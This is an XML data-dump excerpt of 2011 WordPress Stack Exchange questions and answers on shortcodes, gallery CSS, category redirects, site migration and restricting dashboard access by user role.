  <row Id="22983" PostTypeId="1" CreationDate="2011-07-14T18:09:51.657" Score="0" ViewCount="51" Body="&lt;p&gt;I would like to load the last post when I go to the selected category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;br&gt;&#xA;if I go to &lt;code&gt;http://site.com/category&lt;/code&gt;&lt;br&gt;&#xA;it loads &lt;code&gt;http://site.com/category/35/this-is-the-last-post&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does exist some example to follow about that?&#xA;I'm doing practice with Wordpress and I don't know how can I get the &lt;code&gt;last post&lt;/code&gt; of a category.&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2011-08-14T03:23:39.783" Title="Load the last post of a category" Tags="&lt;categories&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="22985" PostTypeId="1" AcceptedAnswerId="22993" CreationDate="2011-07-14T18:43:02.400" Score="0" ViewCount="38" Body="&lt;p&gt;There're lots of examples both here and on the internet, I've tried but don't seem to be able to achieve what I need although it does feel like it should be simple enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to be able to use a shortcode like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[download]http://site.com/file.doc[/download]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I need Wordpress to output this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;download&quot; href=&quot;http://site.com/file.doc&quot;&amp;gt;download file&amp;lt;/a&amp;gt;&#xA;&amp;lt;a class=&quot;download&quot; href=&quot;http://docs.google.com/viewer?embedded=true&amp;amp;url=http://site.com/file.doc&quot;&amp;gt;preview file&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your help would be greatly appreciated. Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="1826" LastActivityDate="2011-07-14T19:28:44.520" Title="Create a shortcode in Wordpress, again" Tags="&lt;shortcode&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22986" PostTypeId="2" ParentId="22982" CreationDate="2011-07-14T18:46:34.013" Score="0" ViewCount="" Body="&lt;p&gt;Try changing &lt;code&gt;'labels'&lt;/code&gt; to an array arg, and passing that. Also, check for syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$labels =&amp;gt; array(&#xA;    'name' =&amp;gt; _x( 'Seminar Types', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'Seminar Type', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt; __( 'Search Seminar Types' ),&#xA;    'popular_items' =&amp;gt; __( 'Popular Seminar Types' ),&#xA;    'all_items' =&amp;gt; __( 'All Seminar Types' ),&#xA;    'edit_item' =&amp;gt; __( 'Edit Seminar Type' ),&#xA;    'update_item' =&amp;gt; __( 'Update Seminar Type' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New Seminar Type' ),&#xA;    'new_item_name' =&amp;gt; __( 'New Seminar Type' ),&#xA;    'separate_items_with_commas' =&amp;gt; __( 'Separate seminar types with commas' ),&#xA;    'add_or_remove_items' =&amp;gt; __( 'Add or remove seminar types' ),&#xA;    'choose_from_most_used' =&amp;gt; __( 'Choose from the most popular seminar types' )&#xA;);&#xA;// Set up the Types arguments&#xA;$types_args = array( &#xA;    'rewrite' =&amp;gt; array(&#xA;        'slug' =&amp;gt; 'seminar-type',&#xA;        'with_front' =&amp;gt; 'false'&#xA;    ),&#xA;    'labels' =&amp;gt; $args&#xA;);&#xA;// Register the Seminar Types taxonomy&#xA;register_taxonomy( 'cemb_seminar_type', array( 'cemb_seminar' ), $types_args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-14T18:46:34.013" CommentCount="2" />
  <row Id="22987" PostTypeId="1" AcceptedAnswerId="22991" CreationDate="2011-07-14T18:52:08.503" Score="1" ViewCount="108" Body="&lt;p&gt;Right now I'm using a code in the functions to override the default WordPress gallery CSS.  But it seems for some reason that WP only wants to let me put 3 images per line in a gallery, despite my CSS.  Anybody know how to fix this?  My problem can be found here -&gt; &lt;a href=&quot;http://themeforward.com/demo2/features/gallery-2/&quot; rel=&quot;nofollow&quot;&gt;http://themeforward.com/demo2/features/gallery-2/&lt;/a&gt; and my CSS is below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*//////////////////////////////////////////////////////////////////// &#xA;//  Gallery&#xA;////////////////////////////////////////////////////////////////////*/&#xA;.gallery {&#xA;margin:30px 0 auto!important;&#xA;text-align:center;&#xA;width:680px;&#xA;overflow:hidden;&#xA;background:#1a1a1a&#xA;}&#xA;.gallery-item {&#xA;float:left;&#xA;text-align:center;&#xA;&#xA;background:#000&#xA;}&#xA;.gallery img {&#xA;display:inline&#xA;}&#xA;.gallery img:active {&#xA;}&#xA;.gallery-caption {&#xA;display:none;&#xA;font-size:.8em;&#xA;margin-left:0&#xA;}&#xA;.gal_img {&#xA;margin:20px auto 0!important;&#xA;text-align:center&#xA;}&#xA;.gal_caption p {&#xA;font-size:1.3em!important;&#xA;font-weight:640;&#xA;text-align:center;&#xA;font-family:Arial, Helvetica, sans-serif!important&#xA;}&#xA;.gal_description p {&#xA;font-size:1.1em!important;&#xA;text-align:center&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//////////////////////////////////////// Gallery&#xA;add_filter('gallery_style',&#xA;    create_function(&#xA;        '$css',&#xA;        'return preg_replace(&quot;#&amp;lt;style type=\'text/css\'&amp;gt;(.*?)&amp;lt;/style&amp;gt;#s&quot;, &quot;&quot;, $css);'&#xA;        )&#xA;    );&#xA;&#xA;//////////////////////////////////////// Remove default gallery styling&#xA;add_filter( 'use_default_gallery_style', '__return_false' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6565" LastEditorUserId="6565" LastEditorDisplayName="" LastEditDate="2011-07-14T19:51:47.270" LastActivityDate="2011-07-14T19:51:47.270" Title="Gallery CSS Problem" Tags="&lt;css&gt;&lt;gallery&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="22988" PostTypeId="2" ParentId="10481" CreationDate="2011-07-14T18:52:09.170" Score="0" ViewCount="" Body="&lt;p&gt;I ran into the same exact problem, and found this solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $menu is the menu as a string &#xA;if ( check if youa re on the page you are looking for )&#xA;    $menu = str_replace( '&amp;lt;li class=&quot;menu-item&quot;&amp;gt;&amp;lt;a href=&quot;http://bla.com/bloop/&quot;&amp;gt;', '&amp;lt;li class=&quot;current-menu-item menu-item&quot;&amp;gt;&amp;lt;a href=&quot;http://bla.com/bloop/&quot;&amp;gt;'&amp;gt;, $menu );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source:&#xA;&lt;a href=&quot;http://www.wptavern.com/forum/plugins-hacks/2169-current-page-custom-post-type-archive.html&quot; rel=&quot;nofollow&quot;&gt;http://www.wptavern.com/forum/plugins-hacks/2169-current-page-custom-post-type-archive.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7034" LastActivityDate="2011-07-14T18:52:09.170" />
  <row Id="22989" PostTypeId="2" ParentId="22983" CreationDate="2011-07-14T18:53:19.467" Score="0" ViewCount="" Body="&lt;p&gt;Hook &lt;code&gt;template_redirect&lt;/code&gt; and check if it's a category archive page, if so get the category ID from &lt;code&gt;query_vars&lt;/code&gt; and &lt;code&gt;query_posts&lt;/code&gt; for a single post from that category, which by default should be the most recent, then &lt;code&gt;wp_redirect&lt;/code&gt; to the post's permalink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code would go in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_category_redirect() {&#xA;    if ( is_category() ) :&#xA;        query_posts('cat='. get_query_var('cat') .'&amp;amp;posts_per_page=1');&#xA;        wp_redirect( get_permalink() , 301 ); &#xA;        exit; &#xA;    endif;&#xA;}&#xA;add_action( 'template_redirect', 'my_category_redirect' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-14T18:53:19.467" />
  <row Id="22991" PostTypeId="2" ParentId="22987" CreationDate="2011-07-14T18:57:54.003" Score="0" ViewCount="" Body="&lt;p&gt;You have to account for all appropriate CSS classes, based on the number of columns passed to the shortcode. Here's my CSS (borrowed heavily from Michael Fields), for handling from 1 to 10 columns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.gallery {&#xA;    margin: 0px auto;&#xA;    text-align: center;&#xA;    width: 100%;&#xA;    min-width: 100%;&#xA;}&#xA;.gallery .gallery-item {&#xA;    float: left;&#xA;    margin: 0px auto;&#xA;    text-align: center;&#xA;}&#xA;.gallery img {&#xA;    border: 1px solid #cfcfcf;&#xA;}&#xA;.gallery .gallery-caption {&#xA;    display: none;&#xA;}&#xA;.gallery-columns-1 .gallery-item {&#xA;    max-width: 638px;&#xA;    width: 638px;&#xA;}&#xA;.gallery-columns-1 .gallery-item img { &#xA;    max-width: 600px;&#xA;    height: auto;&#xA;    max-height: 600px;&#xA;}&#xA;.gallery-columns-2 .gallery-item {&#xA;    max-width: 300px;&#xA;    width: 300px;&#xA;}&#xA;.gallery-columns-2 .gallery-item img { &#xA;    max-width: 300px;&#xA;    height: auto;&#xA;    max-height: 300px;&#xA;}&#xA;.gallery-columns-3 .gallery-item {&#xA;    max-width: 200px;&#xA;    width: 200px;&#xA;}&#xA;.gallery-columns-3 .gallery-item img { &#xA;    max-width: 200px;&#xA;    height: auto;&#xA;    max-height: 200px;&#xA;}&#xA;.gallery-columns-4 .gallery-item {&#xA;    max-width: 151px;&#xA;    width: 151px;&#xA;}&#xA;.gallery-columns-4 .gallery-item img { &#xA;    max-width: 150px;&#xA;    height: auto;&#xA;    max-height: 150px;&#xA;}&#xA;.gallery-columns-5 .gallery-item {&#xA;    max-width: 120px;&#xA;    width: 120px;&#xA;}&#xA;.gallery-columns-5 .gallery-item img { &#xA;    max-width: 120px;&#xA;    height: auto;&#xA;    max-height: 120px;&#xA;}&#xA;.gallery-columns-6 .gallery-item {&#xA;    max-width: 100px;&#xA;    width: 100px;&#xA;}&#xA;.gallery-columns-6 .gallery-item img { &#xA;    max-width: 100px;&#xA;    height: auto;&#xA;    max-height: 100px;&#xA;}&#xA;.gallery-columns-7 .gallery-item {&#xA;    max-width: 85px;&#xA;    width: 85px;&#xA;}&#xA;.gallery-columns-7 .gallery-item img { &#xA;    max-width: 85px;&#xA;    height: auto;&#xA;    max-height: 85px;&#xA;}&#xA;.gallery-columns-8 .gallery-item {&#xA;    max-width: 75px;&#xA;    width: 75px;&#xA;}&#xA;.gallery-columns-8 .gallery-item img { &#xA;    max-width: 75px;&#xA;    height: auto;&#xA;    max-height: 75px;&#xA;}&#xA;.gallery-columns-9 .gallery-item {&#xA;    max-width: 67px;&#xA;    width: 67px;&#xA;}&#xA;.gallery-columns-9 .gallery-item img { &#xA;    max-width: 67px;&#xA;    height: auto;&#xA;    max-height: 67px;&#xA;}&#xA;.gallery-columns-10 .gallery-item {&#xA;    max-width: 60px;&#xA;    width: 60px;&#xA;}&#xA;.gallery-columns-10 .gallery-item img { &#xA;    max-width: 60px;&#xA;    height: auto;&#xA;    max-height: 60px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.design.chipbennett.net/oenology/2008/06/10/post-format-test-gallery/2/&quot; rel=&quot;nofollow&quot;&gt;Here you can see an example of the markup and styles being applied&lt;/a&gt;, from calling the following in the Post Content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[gallery columns=&quot;1&quot;]&#xA;[gallery columns=&quot;2&quot;]&#xA;[gallery columns=&quot;3&quot;]&#xA;[gallery columns=&quot;4&quot;]&#xA;[gallery columns=&quot;5&quot;]&#xA;[gallery columns=&quot;6&quot;]&#xA;[gallery columns=&quot;7&quot;]&#xA;[gallery columns=&quot;8&quot;]&#xA;[gallery columns=&quot;9&quot;]&#xA;[gallery columns=&quot;10&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-14T19:08:37.817" LastActivityDate="2011-07-14T19:08:37.817" CommentCount="7" />
  <row Id="22992" PostTypeId="1" CreationDate="2011-07-14T19:16:42.580" Score="1" ViewCount="29" Body="&lt;p&gt;I have a custom post type &quot;contest_recipe&quot;.  I can view contest recipe posts by year and by date with the following urls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2011/?post_type=contest_recipe - shows all 2011 contest recipes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2011/7/?post_type=contest_recipe - shows all July 2011 contest recipes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to simplify the url to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2011/recipes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2011/7/recipes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&#xA;I am not familiar with the rewrite rules concept.  Can anyone recommend a tutorial on how to learn about this or provide an example?&lt;/p&gt;&#xA;" OwnerUserId="6970" LastActivityDate="2011-07-14T19:16:42.580" Title="simplify url for monthly archive with custom post type" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;" />
  <row Id="22993" PostTypeId="2" ParentId="22985" CreationDate="2011-07-14T19:17:38.277" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;// Declare your shortcode&#xA;add_shortcode(&quot;download&quot;, &quot;downloadFunction&quot;);&#xA;&#xA;// Second Declare your shortcode function&#xA;function downloadFunction($att, $content, $code){&#xA;&#xA;    // your function is passed 3 Arguments&#xA;    // $atts : this is an array of the shortcode's attributes&#xA;    // $content : this is the content between the code. in your case the file url.&#xA;    // $code : this is the code used. in this case it will be download.&#xA;    // here we only need the $content of the shortcode which we place for the file&#xA;&#xA;$return = '&amp;lt;a class=&quot;download&quot; href=&quot;'.$content.'&quot;&amp;gt;download file&amp;lt;/a&amp;gt;';&#xA;$return .= '&amp;lt;a class=&quot;download&quot; href=&quot;http://docs.google.com/viewer?embedded=true&amp;amp;url='.$content.'&quot;&amp;gt;preview file&amp;lt;/a&amp;gt;';&#xA;&#xA;// we then return the result.&#xA;return $return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7035" LastEditorUserId="7035" LastEditorDisplayName="" LastEditDate="2011-07-14T19:28:44.520" LastActivityDate="2011-07-14T19:28:44.520" CommentCount="1" />
  <row Id="22994" PostTypeId="1" CreationDate="2011-07-14T19:22:40.930" Score="1" ViewCount="28" Body="&lt;p&gt;When creating a new network site, by default the option &lt;code&gt;Uploads Use Yearmonth Folders&lt;/code&gt; is on. I have to set it to 0 each time I create a new site. This isn't horrid, but is it possible to make this the default for newly created sites?&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-13T23:23:35.450" Title="How can I have network sites not use year/month folders by default?" Tags="&lt;multisite&gt;&lt;uploads&gt;" AnswerCount="1" />
  <row Id="22995" PostTypeId="2" ParentId="22994" CreationDate="2011-07-14T19:26:59.947" Score="0" ViewCount="" Body="&lt;p&gt;I'm a little confused by your question.  Are you referring to URLs?  If so go to Settings &gt; Permalinks and adjust from there.&lt;/p&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-14T19:26:59.947" CommentCount="1" />
  <row Id="22996" PostTypeId="2" ParentId="22971" CreationDate="2011-07-14T19:32:28.980" Score="1" ViewCount="" Body="&lt;p&gt;the two single quote marks (after the number 1) in this line (of the top posted code section) seem to be causing the error - there should only be one single quote; shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('orderby=date&amp;amp;cat=' . $cat . '&amp;amp;order=ASC&amp;amp;posts_per_page=-1');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is just puzzling that your other code (with the same error) alledegly does work (?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if this is not the cause: what was the exact syntax error message?&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-14T19:32:28.980" CommentCount="1" />
  <row Id="22997" PostTypeId="1" CreationDate="2011-07-14T19:39:02.093" Score="0" ViewCount="32" Body="&lt;p&gt;I have a custom post type called products and those have a taxonomy called product_category. Within the product category I have a term called artist, each artist product_category has sub product_categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get just the artist product_categories that are related to a specific product post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried everything under the sun from get_term to wp_get_object_terms&lt;/p&gt;&#xA;" OwnerUserId="6811" LastActivityDate="2011-07-14T19:39:02.093" Title="Get Post Term Terms" Tags="&lt;terms&gt;" />
  <row Id="22998" PostTypeId="1" AcceptedAnswerId="23000" CreationDate="2011-07-14T19:39:57.477" Score="1" ViewCount="65" Body="&lt;p&gt;I have installed XAMPP to build a site on localhost. After I finish, how do I transfer everything efficiently to, say, a client's server?&lt;/p&gt;&#xA;" OwnerUserId="7037" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-14T19:58:02.110" LastActivityDate="2011-07-14T20:53:52.253" Title="After finishing building a site on localhost, how do I transfer everything to a client's server?" Tags="&lt;migration&gt;&lt;localhost&gt;&lt;xampp&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" />
  <row Id="22999" PostTypeId="2" ParentId="22833" CreationDate="2011-07-14T19:48:40.153" Score="0" ViewCount="" Body="&lt;p&gt;For question one, reading the following from the codex makes me think you need to change &lt;code&gt;hierarchical&lt;/code&gt; to 1:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;depth (integer) (optional) The max depth. This is ignore unless&#xA;  hierarchical is set to true. Default: 0/False&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;hierarchical (boolean) (optional) Display all categories (0/False) or&#xA;  display categories (1/True) to a depth of 'depth'. Default: 0/False&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-14T19:48:40.153" CommentCount="1" />
  <row Id="23000" PostTypeId="2" ParentId="22998" CreationDate="2011-07-14T19:55:06.487" Score="2" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;Moving WordPress « WordPress Codex&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Backing_Up_Your_Database&quot; rel=&quot;nofollow&quot;&gt;Backing Up Your Database « WordPress Codex&lt;/a&gt; and &lt;a href=&quot;http://www.mydigitallife.info/2007/10/01/how-to-move-wordpress-blog-to-new-domain-or-location/&quot; rel=&quot;nofollow&quot;&gt;How to Move WordPress Blog to New Domain or Location  »  My Digital Life&lt;/a&gt; and possibly &lt;a href=&quot;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&quot; rel=&quot;nofollow&quot;&gt;Giving WordPress Its Own Directory « WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleted this added link as it advocates using a texteditor to change URLs in the dump; that will break serialized data. Use the SQL statements in How to Move WordPress Blog to New Domain or Location above. See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9076/why-is-my-database-import-losing-text-widget-data&quot;&gt;Why is my database import losing text widget data?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-07-14T20:53:52.253" LastActivityDate="2011-07-14T20:53:52.253" CommentCount="3" />
  <row Id="23001" PostTypeId="1" AcceptedAnswerId="23003" CreationDate="2011-07-14T20:35:50.607" Score="0" ViewCount="35" Body="&lt;p&gt;Function to list all post slugs for every post in wp_posts table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume there's an official function to generate a post slug, but maybe someone here already has the answer.  &lt;/p&gt;&#xA;" OwnerUserId="3453" LastActivityDate="2011-07-14T20:50:40.040" Title="Function to list all post slugs for every post in my WP database?" Tags="&lt;slug&gt;" AnswerCount="1" />
  <row Id="23002" PostTypeId="1" CreationDate="2011-07-14T20:36:14.303" Score="0" ViewCount="48" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3725/wordpress-frameworks-and-parent-themes&quot;&gt;WordPress frameworks and parent themes&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I want to get my feet wet with wordpress premium theme development.  I see lots marketplaces where developers sell wordpress themes (Such as themeforest.net). My guestion is, do developers use some kind of a wordpress framework that they bought and build all their themes on it, or do they develop their own framework?  I assume that not all frameworks that are sold, such as Genesis or Thesis, will allow you to use their framework to build themes to be sold, but I would like to know if there are frameworks which do give you the freedom to sell themes using their framework as the basis?&lt;/p&gt;&#xA;" OwnerUserId="7039" LastActivityDate="2011-08-29T19:11:37.010" ClosedDate="2011-08-29T20:12:19.653" Title="Frameworks for Premium Theming" Tags="&lt;themes&gt;&lt;framework&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="23003" PostTypeId="2" ParentId="23001" CreationDate="2011-07-14T20:50:40.040" Score="2" ViewCount="" Body="&lt;p&gt;example - unordered list with post slugs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;?php foreach( get_posts('numberposts=-1') as $post ) { &#xA;    echo '&amp;lt;li&amp;gt;' . $post-&amp;gt;post_name . '&amp;lt;/li&amp;gt;'; &#xA;  } ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/get_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-14T20:50:40.040" CommentCount="2" />
  <row Id="23004" PostTypeId="2" ParentId="23002" CreationDate="2011-07-14T20:51:47.887" Score="2" ViewCount="" Body="&lt;p&gt;I would assume that the vast majority of theme developers that sell their work on market places use their own custom frame work. I most certainly do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using my own frame work, I'm able to know absolutely every little corner of it. And every time I build a new theme, whether for a marketplace or for a client, I always spend a little bit of time improving my framework, so it is always getting better.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-14T20:51:47.887" />
  <row Id="23005" PostTypeId="1" CreationDate="2011-07-14T20:52:15.493" Score="0" ViewCount="42" Body="&lt;p&gt;The dropdown datepicker is throwing a not found error. I am not sure if this is a 3.2 issue or not, because I did not install this plugin until after the 3.2 release, but I know the datepicker is a jQuery function, so it might be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can view the error here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample error for datepicker choice of August, 2011:&#xA;&lt;a href=&quot;http://hammondmarina.com/wp/category/events&amp;amp;eventDisplay=month&amp;amp;eventDate=2011-08&quot; rel=&quot;nofollow&quot;&gt;http://hammondmarina.com/wp/category/events&amp;amp;eventDisplay=month&amp;amp;eventDate=2011-08&lt;/a&gt;&#xA;(Select the &quot;Events Calendar&quot; from the main menu to get to the grid. New here so I can't post more than 2 links in this post.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The forward and backward links are working fine. I discovered that when you substitute the &quot;&amp;amp;&quot; with a &quot;?&quot; after category/events, the link will work:&#xA;&lt;a href=&quot;http://hammondmarina.com/wp/category/events?eventDisplay=month&amp;amp;eventDate=2011-08&quot; rel=&quot;nofollow&quot;&gt;http://hammondmarina.com/wp/category/events?eventDisplay=month&amp;amp;eventDate=2011-08&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this in the the-events-calendar/views/datapicker.php file or the template-tags.php file (where references to the datepicker both occur)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="7040" LastActivityDate="2011-08-20T23:32:47.930" Title="The Events Calendar - Datepicker not working" Tags="&lt;the-events-calendar&gt;" AnswerCount="1" />
  <row Id="23006" PostTypeId="1" CreationDate="2011-07-14T20:52:33.737" Score="0" ViewCount="18" Body="&lt;p&gt;I have installed wordpress under wwwroot/mydomain.com/wordpress and bind it to mydomain.com port 80 under IIS 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I change to bind wwwroot/mydomain.com to  mydomain.com instead and change site url in wp_options to mydomain.com/wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try &lt;a href=&quot;http://mydomain.com/wordpress&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/wordpress&lt;/a&gt; I get 404 error from IIS. Why ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I didn't change web.config&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;configuration&amp;gt;&#xA;    &amp;lt;system.webServer&amp;gt;&#xA;        &amp;lt;rewrite&amp;gt;&#xA;            &amp;lt;rules&amp;gt;&#xA;                &amp;lt;rule name=&quot;wordpress&quot; patternSyntax=&quot;Wildcard&quot;&amp;gt;&#xA;                    &amp;lt;match url=&quot;*&quot; /&amp;gt;&#xA;                        &amp;lt;conditions&amp;gt;&#xA;                            &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsFile&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                            &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsDirectory&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                        &amp;lt;/conditions&amp;gt;&#xA;                    &amp;lt;action type=&quot;Rewrite&quot; url=&quot;index.php&quot; /&amp;gt;&#xA;                &amp;lt;/rule&amp;gt;&#xA;            &amp;lt;/rules&amp;gt;&#xA;        &amp;lt;/rewrite&amp;gt;&#xA;    &amp;lt;/system.webServer&amp;gt;&#xA;&amp;lt;/configuration&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4078" LastActivityDate="2011-07-14T20:52:33.737" Title="How to move wordpress blog under IIS 7 sub-folder" Tags="&lt;urls&gt;&lt;iis&gt;" />
  <row Id="23007" PostTypeId="1" AcceptedAnswerId="23008" CreationDate="2011-07-14T21:06:16.673" Score="0" ViewCount="98" Body="&lt;p&gt;I'd like to prevent certain user roles from accessing the dashboard &lt;a href=&quot;http://www.openeye.net/wp-admin/&quot; rel=&quot;nofollow&quot;&gt;http://www.openeye.net/wp-admin/&lt;/a&gt; at all. I've moved and restyled user profiles to a new page that's viewable on the site. How would I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-07-15T15:06:04.357" Title="How do I remove dashboard access from specific user roles?" Tags="&lt;admin&gt;&lt;user-roles&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="23008" PostTypeId="2" ParentId="23007" CreationDate="2011-07-14T21:13:46.667" Score="2" ViewCount="" Body="&lt;p&gt;To lock subscribers and contributors out of the admin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse23007_redirect(){&#xA;  if( is_admin() &amp;amp;&amp;amp; !defined('DOING_AJAX') &amp;amp;&amp;amp; ( current_user_can('subscriber') || current_user_can('contributor') ) ){&#xA;    wp_redirect(home_url());&#xA;    exit;&#xA;  }&#xA;}&#xA;add_action('init','wpse23007_redirect');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. All roles give the user a capability that is the name of that role, so you can use any role name as a capability.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-07-15T15:06:04.357" LastActivityDate="2011-07-15T15:06:04.357" CommentCount="3" />
  <row Id="23009" PostTypeId="2" ParentId="22549" CreationDate="2011-07-14T21:29:06.233" Score="0" ViewCount="" Body="&lt;p&gt;According to Wordpress Customer Support, they don't allow plugins on .wordpress.com website for security reasons, which kind of sucks. The plugins should work on your own domain/site though.&lt;/p&gt;&#xA;" OwnerUserId="6944" LastActivityDate="2011-07-14T21:29:06.233" />
